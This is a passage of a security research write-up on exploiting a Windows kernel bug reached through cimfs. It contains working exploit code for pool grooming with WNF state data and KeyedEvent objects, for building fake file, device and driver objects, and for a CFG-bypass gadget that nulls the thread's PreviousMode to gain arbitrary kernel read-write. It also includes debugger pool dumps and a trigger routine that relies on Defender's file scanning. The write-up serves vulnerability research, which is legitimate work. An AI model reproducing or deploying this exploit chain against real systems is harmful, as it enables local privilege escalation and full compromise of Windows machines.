v2 = *(_QWORD *)(a1 + 0x38);
if ( v2 )
{
    result = ObfDereferenceObject((PVOID)(v2 - 0x18));
    *(_QWORD *)(a1 + 0x38) = 0i64;
}
return result;

The *(_QWORD *)(a1 + 0x38) = 0i64 allows us to write a null QWORD to an arbitrary address. We use this to null out the PreviousMode field of our thread, getting full arbitrary read-write.

The reason we don’t fake this object in usermode is because this bug is usually triggered by an antivirus driver, such as Windows Defender. These software often register post create handlers in order to scan file contents before allowing clients to read. Since they definitely read the file before us, the bug will be triggered in the context of their process, which we have no control over.

We use the well known _WNF_STATE_DATA object to house the fake file object, as well as to spray the address of the file object. This is because NtUpdateWnfStateData() allows us to modify the contents of the chunk after it has been allocated, which is crucial in this exploit since we can only look up the chunk’s address after it is allocated.

Unfortunately _WNF_STATE_DATA does not come with a handle for NtQuerySystemInformation() to operate on, so we use the KeyedEvent object to help with pool fengshui. A KeyedEvent object can be allocated using the NtCreateKeyedEvent() API, and has a fixed size of 0x680 bytes. If we spray _WNF_STATE_DATA objects with a size of 0x880 bytes first, we can force these two objects to always be contiguous to each other on the same page.

for (int i = 0; i < StateNameCount; i++)
    if (!WnfAllocateObject(KEY_EVENT_INV_SIZE, &StateNames[i]))
        goto out;
printf("[+] Sprayed 0x%llx WNF chunks of 0x%lx bytes\n", StateNameCount,KEY_EVENT_INV_SIZE);

// Spray some keyevent objects
for (int i = 0; i < StateNameCount; i++) {
    ntstatus = NtCreateKeyedEvent(&tmpKeyEvent, NULL, NULL, 0);
    if (i == 0x2018) // lucky number
        keyEvent = tmpKeyEvent;
}

if (!GetAddressOfHandle(keyEvent, &keyEventAddr)) {
    puts("KeyEvent handle address not resolved");
    goto out;
}
0: kd> !pool 0xffffd80970703020
Pool page ffffd80970703020 region is Paged pool
*ffffd80970703000 size:  880 previous size:    0  (Allocated) *Wnf  Process: ffffb108db4d60c0
		Pooltag Wnf  : Windows Notification Facility, Binary : nt!wnf
 ffffd80970703890 size:  680 previous size:    0  (Allocated)  Keye
 ffffd80970703f10 size:   d0 previous size:    0  (Free)       D..;
0: kd> !pool 0xffffd80970704020
Pool page ffffd80970704020 region is Paged pool
*ffffd80970704000 size:  880 previous size:    0  (Allocated) *Wnf  Process: ffffb108db4d60c0
		Pooltag Wnf  : Windows Notification Facility, Binary : nt!wnf
 ffffd80970704890 size:  680 previous size:    0  (Allocated)  Keye
 ffffd80970704f10 size:   d0 previous size:    0  (Free)       D..;
0: kd> !pool 0xffffd80970705020
Pool page ffffd80970705020 region is Paged pool
*ffffd80970705000 size:  880 previous size:    0  (Allocated) *Wnf  Process: ffffb108db4d60c0
		Pooltag Wnf  : Windows Notification Facility, Binary : nt!wnf
 ffffd80970705890 size:  680 previous size:    0  (Allocated)  Keye
 ffffd80970705f10 size:   d0 previous size:    0  (Free)       D..;

The reason is because two _WNF_STATE_DATA chunks are too big to be housed in the same page, so there will always be space for a KeyedEvent chunk if we spray sufficiently.

Now we can leak an arbitrary KeyedEvent object’s address, and subtract by 0x8d0 bytes to get the _WNF_STATE_DATA chunk address.

Since we don’t know which WNF chunk was leaked, we update all their contents to become fake file objects.

// Craft fake chunk chain
// IoGetRelatedDeviceObject(fakeChunkChainStart);
fakeChunkChainStart = prevWnfAddr - 0x10;                                        // mov     rax, [rcx+10h] -> rax = prevWnfAddress
*(ULONG_PTR *)((ULONG64)&fakeChunkPayload + 0x0) = prevWnfAddr;                  // mov     rax, [rax+8] -> rax = prevWnfAddress
*(ULONG_PTR *)((ULONG64)&fakeChunkPayload + DRIVER_OBJECT_OFFSET) = prevWnfAddr; // fake device object/driver object = prevWnfAddr
*(BYTE *)((ULONG64)&fakeChunkPayload + STACK_SIZE_OFFSET) = 1;

/*
    * Gadget dependent offset

    v2 = *(_QWORD *)(a1 + 0x38);
    if ( v2 )
    {
        result = ObfDereferenceObject((PVOID)(v2 - 0x18));
        *(_QWORD *)(a1 + 0x38) = 0i64;
    }
    return result;

*/
cfgBypassGadget = win32kbase + GADGET_OFFSET;

ownKthreadPreviousMode = ownKthread + PREVIOUSMODE_OFFSET;
*(ULONG_PTR *)((ULONG64)&fakeChunkPayload + 0x38) = ownKthreadPreviousMode + 0x48;

// Fake IRP major function
*(ULONG_PTR *)((ULONG64)&fakeChunkPayload + (ULONG64)MAJOR_FUNCTION_OFFSET + 24) = cfgBypassGadget; // IRP_MJ[3]

// Write chain to memory
for (int i = 0; i < StateNameCount; i++)
    if (*(ULONG64 *)&(StateNames[i]))
        if (!WnfUpdateObject(&StateNames[i], &fakeChunkPayload, sizeof(fakeChunkPayload)))
            goto out;
puts("[+] Finish setting up fake objects chain");

In the end the _WNF_STATE_DATA chunks will not only be a fake file object, but also a fake device object and fake driver object.

Finally we spray more _WNF_STATE_DATA objects containing the address of the fake file object. 1/4 of these objects are freed to make holes for the victim allocation made by cimfs.

// Make WNF holes for OOB
for (int i = 0; i < StateNameCount; i++) {
    if (!WnfAllocateObjectAndFillQWORDS(WNF_SPRAY_SIZE, &StateNames[i], fakeChunkChainStart))
        goto out;
}
printf("[+] Sprayed 0x%llx WNF chunks of 0x%lx bytes\n", StateNameCount, WNF_SPRAY_SIZE);

for (int i = 0; i < StateNameCount; i += WNF_GAP_OFFSET) {
    if (!WnfFreeObject(&StateNames[i]))
        goto out;
}
printf("[+] Freed one chunk for every 0x%lx chunks\n", WNF_GAP_OFFSET);

Now just spawn a thread to trigger the bug and we can get arbitrary read/write.

void TriggerVuln(GUID *VolumeId)
{
    HANDLE  hFile = NULL;
    BYTE    buf[1] = { 0 };
    DWORD   read = 0;

    // Never returns if AV/EDR registers post create handler to perform read before us
    puts("[*] Counting on defender to trigger bug...");
    TryMountAndCreateHandle(IMAGE_CONTAINING_PATH, IMAGE_NAME, CIM_MOUNT_IMAGE_NONE, VolumeId, FILESYSTEM_FILE_NAME, &hFile);

    // If it doesn't, this line of code will run and we can trigger bug manually
    puts("[*] Seems like Micosoft Defender is disabled. Triggering bug manually");
    ReadFile(hFile, &buf, sizeof(buf), &read, NULL);

    // Never reach
    return;
}

Conclusion

In the world of bug hunting, finding a good target(fresh surface) is always more effective than blindly jumping into a target. Don’t be afraid to start working on a target that has no prior bugs before. When you’re auditing manually, consider running a simple fuzz session in the background. Combine manual and automated testing for the best effects.